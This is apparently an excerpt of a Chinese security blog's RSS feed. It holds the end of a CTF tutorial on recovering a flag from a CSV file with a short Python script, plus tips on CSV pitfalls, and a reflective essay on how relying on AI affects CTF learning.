<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s">id</span><span class="p">,</span><span class="s">pos</span><span class="p">,</span><span class="s">value</span><span class="p">,</span><span class="s">valid</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="p">,</span><span class="s">3</span><span class="p">,</span><span class="s">g</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">2</span><span class="p">,</span><span class="s">0</span><span class="p">,</span><span class="s">f</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">3</span><span class="p">,</span><span class="s">9</span><span class="p">,</span><span class="s">x</span><span class="p">,</span><span class="s">0</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">4</span><span class="p">,</span><span class="s">1</span><span class="p">,</span><span class="s">l</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span><span class="line"><span class="cl"><span class="s">5</span><span class="p">,</span><span class="s">2</span><span class="p">,</span><span class="s">a</span><span class="p">,</span><span class="s">1</span><span class="p">
</span></span></span></code></pre></div><p>题目没有多余提示，只说“find the flag”。</p>
<p>我们先观察字段：</p>
<ul>
<li><code>pos</code>：像是顺序。</li>
<li><code>value</code>：像是字符。</li>
<li><code>valid</code>：像是筛选条件。</li>
</ul>
<p>所以思路就是：</p>
<ol>
<li>读取CSV。</li>
<li>只保留<code>valid=1</code>的行。</li>
<li>按<code>pos</code>从小到大排序。</li>
<li>拼接<code>value</code>。</li>
</ol>
<p>最终脚本：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">filename</span> <span class="o">=</span> <span class="s2">&#34;data.csv&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">items</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">reader</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;valid&#34;</span><span class="p">]</span> <span class="o">!=</span> <span class="s2">&#34;1&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">pos</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;pos&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">        <span class="n">value</span> <span class="o">=</span> <span class="n">row</span><span class="p">[</span><span class="s2">&#34;value&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">items</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">pos</span><span class="p">,</span> <span class="n">value</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">item</span><span class="p">:</span> <span class="n">item</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">value</span> <span class="k">for</span> <span class="n">pos</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">items</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>运行：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python solve.py
</span></span></code></pre></div><p>输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag
</span></span></code></pre></div><p>真实比赛里输出一般会是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">flag{xxxxxxxxxxxxxxxx}
</span></span></code></pre></div><hr>
<h2 id="11解csv题的通用套路">
<a class="header-anchor" href="#11%e8%a7%a3csv%e9%a2%98%e7%9a%84%e9%80%9a%e7%94%a8%e5%a5%97%e8%b7%af"></a>
11.解CSV题的通用套路
</h2><p>遇到CSV题，可以按这个流程走：</p>
<ol>
<li><strong>看文件名和题目描述</strong>：有没有提示排序、坐标、颜色、编码、日志、流量等关键词。</li>
<li><strong>看表头</strong>：字段名通常就是题目给你的解题方向。</li>
<li><strong>打印前几行</strong>：确认每列数据长什么样。</li>
<li><strong>统计行数和字段范围</strong>：判断是不是图片坐标、ASCII、时间序列。</li>
<li><strong>先写最小脚本</strong>：能读、能打印、能筛选就行。</li>
<li><strong>逐步加功能</strong>：排序、拼接、解码、画图。</li>
<li><strong>搜索flag格式</strong>：最后用正则提取<code>flag{...}</code>。</li>
</ol>
<hr>
<h2 id="12常见坑">
<a class="header-anchor" href="#12%e5%b8%b8%e8%a7%81%e5%9d%91"></a>
12.常见坑
</h2><h3 id="121编码错误">
<a class="header-anchor" href="#121%e7%bc%96%e7%a0%81%e9%94%99%e8%af%af"></a>
12.1编码错误
</h3><p>如果<code>utf-8</code>报错，可以试试：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;gbk&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>或者：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s2">&#34;r&#34;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8-sig&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p><code>utf-8-sig</code>可以处理带BOM的CSV文件。</p>
<h3 id="122数字排序变成字符串排序">
<a class="header-anchor" href="#122%e6%95%b0%e5%ad%97%e6%8e%92%e5%ba%8f%e5%8f%98%e6%88%90%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%8e%92%e5%ba%8f"></a>
12.2数字排序变成字符串排序
</h3><p>错误示例：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">items</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span></code></pre></div><p>如果<code>x[0]</code>是字符串，会出现：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">1, 10, 11, 2, 3
</span></span></code></pre></div><p>所以要转成整数：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">row</span><span class="p">[</span><span class="s2">&#34;index&#34;</span><span class="p">])</span>
</span></span></code></pre></div><h3 id="123分隔符不是逗号">
<a class="header-anchor" href="#123%e5%88%86%e9%9a%94%e7%ac%a6%e4%b8%8d%e6%98%af%e9%80%97%e5%8f%b7"></a>
12.3分隔符不是逗号
</h3><p>有些文件虽然叫CSV，但实际用的是分号、Tab或竖线分隔。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">delimiter</span><span class="o">=</span><span class="s2">&#34;;&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Tab分隔：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">reader</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictReader</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">delimiter</span><span class="o">=</span><span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="124表头有空格">
<a class="header-anchor" href="#124%e8%a1%a8%e5%a4%b4%e6%9c%89%e7%a9%ba%e6%a0%bc"></a>
12.4表头有空格
</h3><p>有些表头可能是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csv" data-lang="csv"><span class="line"><span class="cl"><span class="s"> index </span><span class="p">,</span><span class="s"> char</span><span class="p">
</span></span></span></code></pre></div><p>这会导致<code>row[&quot;index&quot;]</code>取不到。可以先打印：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">reader</span><span class="o">.</span><span class="n">fieldnames</span><span class="p">)</span>
</span></span></code></pre></div><p>或者读取后把key清理一下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">row</span> <span class="o">=</span> <span class="p">{</span><span class="n">k</span><span class="o">.</span><span class="n">strip</span><span class="p">():</span> <span class="n">v</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">row</span><span class="o">.</span><span class="n">items</span><span class="p">()}</span>
</span></span></code></pre></div>
        
        <hr><p>本文2026-05-15首发于<a href='https://blog.m15tak3.com/'>M15tak3のBlog</a>，最后修改于2026-05-15</p><p>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</p>]]>
      </description>
      
        <category>CTF</category>
      
    </item>
    
      
    

    <item>
      <title>当AI开始替我们靠近伊萨卡...</title>
      <link>https://blog.m15tak3.com/post/%E5%BD%93ai%E5%BC%80%E5%A7%8B%E6%9B%BF%E6%88%91%E4%BB%AC%E9%9D%A0%E8%BF%91%E4%BC%8A%E8%90%A8%E5%8D%A1/</link>
      <pubDate>Thu, 07 May 2026 17:00:00 &#43;0800</pubDate>
      <author>skyman.soul@gmail.com (M15tak3)</author>
      <guid>https://blog.m15tak3.com/post/%E5%BD%93ai%E5%BC%80%E5%A7%8B%E6%9B%BF%E6%88%91%E4%BB%AC%E9%9D%A0%E8%BF%91%E4%BC%8A%E8%90%A8%E5%8D%A1/</guid>
      <description>
        <![CDATA[<h1>当AI开始替我们靠近伊萨卡...</h1><p>作者：M15tak3（skyman.soul@gmail.com）</p>
        
          <h1 id="当ai开始替我们靠近伊萨卡">
<a class="header-anchor" href="#%e5%bd%93ai%e5%bc%80%e5%a7%8b%e6%9b%bf%e6%88%91%e4%bb%ac%e9%9d%a0%e8%bf%91%e4%bc%8a%e8%90%a8%e5%8d%a1"></a>
当AI开始替我们靠近伊萨卡&hellip;
</h1><p>​	我不知道从什么时候开始，遇到问题后的第一个动作，变成了问AI。</p>
<p>​	一开始，这当然让人兴奋。它像一盏随手可点亮的灯，照进那些曾经需要自己摸索很久的角落。代码看不懂，可以问它；报错不知道原因，可以问它；CTF题没有思路，也可以问它。Web、Reverse、Pwn、Crypto，那些过去让人反复查资料、熬夜试错的东西，突然都变得没有那么遥远。</p>
<p>​	这确实是一种进步。我不想轻易否认它。AI降低了很多门槛，也替我们拿走了许多无意义的阻力。那些被环境配置、陌生术语、碎片资料挡在门外的人，终于可以更顺利地走进去。对网络安全学习者来说，这种帮助是真实的。它让复杂的知识有了更柔软的入口，也让很多孤独的学习时刻，像是多了一个不会疲倦的同伴。</p>
<p>​	可是，有些东西也在悄悄变轻。</p>
<p>​	以前打CTF，卡住是一件很普通的事。你盯着一段代码，看不出漏洞；你反复构造payload，只换来沉默的回显；你在反编译结果里迷路，在流量包里寻找一处异常，在寄存器和栈之间猜测程序的下一次转身。那时候的学习很慢。很多夜晚并没有漂亮的结果，只剩下一堆失败的尝试。</p>
<p>​	但后来回头看，真正留下来的，恰恰是那些慢。是那些没有立刻得到答案的时刻，让人开始学会观察。是那些错误的猜想，让人知道边界在哪里。是那些迟迟解不开的题，让人明白安全不是记住几个漏洞名字，而是在不确定里保持怀疑。</p>
<p>​	现在，答案来得太快了。快到我们还没来得及和问题相处，就已经急着把它交出去。快到一段流畅的解释，可以替代半小时沉默的推理。快到一个看似完整的解题路径，会让人误以为自己已经理解了它。</p>
<p>​	这让我有一点悲哀。不是因为AI太强，而是因为我们似乎越来越难忍受“不会”的状态。不会，本来是学习最自然的入口。它迫使人停下来，迫使人承认空白，迫使人一点点靠近未知。可现在，“不会”很快就被填满了。屏幕上出现一段答案，语气笃定，结构完整，甚至带着某种温柔的耐心。于是空白消失了，焦虑也暂时消失了。</p>
<p>​	但理解也可能一起消失了。CTF里最重要的从来不只是flag。flag可能是一个终点，也可能是一个信号。但真正改变人的，是走向它的过程。你为什么怀疑这里？为什么这条路径成立？为什么另一个方向失败？为什么同样的payload换个环境就失效？这些问题如果没有亲自走过，只看见最后的字符串，心里其实是空的。</p>
<p>​	AI很适合给出答案，却未必能让人拥有答案。尤其在网络安全里，这件事更加危险。安全是一种判断力，是对边界的敏感，是对“看起来正常”的不信任。AI 可以解释漏洞，可以生成脚本，可以说出很多专业词汇。但它也会错，而且常常错得很像对的。它的流畅会让错误变得体面，让猜测看起来像结论。如果人没有验证的能力，就很容易把这种体面当作真实。我有时觉得，AI像一条更快的路，带我们绕过了很多泥泞。可问题是，有些脚力正是在泥泞里长出来的。我们少走了弯路，也少了一些与问题僵持的时间；我们更快到达了结果，却未必更靠近本质。</p>
<p>​	这不是反对AI。我仍然会用它，也知道自己离不开它。它确实能帮我看见盲区，帮我节省时间，帮我从混乱中找到一个起点。只是希望自己不要忘记：工具可以照亮道路，但不能替我长出眼睛。</p>
<p>​	在 CTF 中使用AI，也许最好的状态不是让它代替我解题，而是让它陪我停在问题面前。它可以提醒我看向某个方向，但我仍然要自己判断那里是否真的有路。它可以帮我写下一段脚本，但我仍然要知道每一行为什么存在。它可以给我一个答案，但我仍然要问：这是不是我真正理解之后的答案？我们正在进入一个答案越来越廉价的时代。也正因为如此，慢下来才显得更珍贵。慢不是落后，也不是无能。慢是一种对问题的尊重，是一种把理解留给自己的方式。在所有东西都被压缩成进度、结果、截图和总结的时候，慢下来反而需要勇气。我们习惯了更快地完成一件事。更快写出一段代码，更快交出一篇报告，更快生成一个方案，更快得到一个看起来不错的结论。很多时候，事情还没有真正被理解，就已经变成了可以提交、可以展示、可以发布的东西。速度给了人一种安慰，好像只要不断向前，就不会显得停滞。AI进一步放大了这种安慰。它让我们可以更快写出答案，更快完成作业，更快生成报告，更快拿到flag。但如果人只是跟着这种速度往前跑，就会越来越没有时间停下来确认：我是否真的理解？我是否真的判断过？我是否只是把一个看似正确的结果，匆忙地交给了世界？</p>
<p>​	在网络安全里，这种匆忙尤其危险。因为安全不是抢答，而是验证。不是谁先说出一个漏洞名，谁就更接近真相；不是谁先跑出一个payload，谁就真正理解系统。安全需要耐心，需要怀疑，需要在看似合理的地方多停一会儿。很多漏洞不是被速度发现的，而是被反复观察、反复验证、反复追问逼出来的。</p>
<p>​	所以希望还能学会慢下来。</p>
<p>​	不是拒绝AI，也不是退回过去，而是在使用它的时候保留一段属于自己的距离。先看一眼题目，先想一想边界，先让问题在脑子里停留一会儿。不要急着让答案覆盖空白，也不要急着用生成的内容填满自己的不安。</p>
<p>​	有些空白值得保留一阵。因为人正是在那里开始思考的。</p>
<p>​	AI可以让我们更快抵达伊萨卡。</p>
<p>​	但我更想知道，在抵达之前，我们有没有真正见过海。</p>

        
        <hr><p>本文2026-05-07首发于<a href='https://blog.m15tak3.com/'>M15tak3のBlog</a>，最后修改于2026-05-07</p><p>本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！</p>]]>
      </description>
      
        <category>随笔</category><category>CTF</category>
      
    </item>
    
  </channel>
</rss>
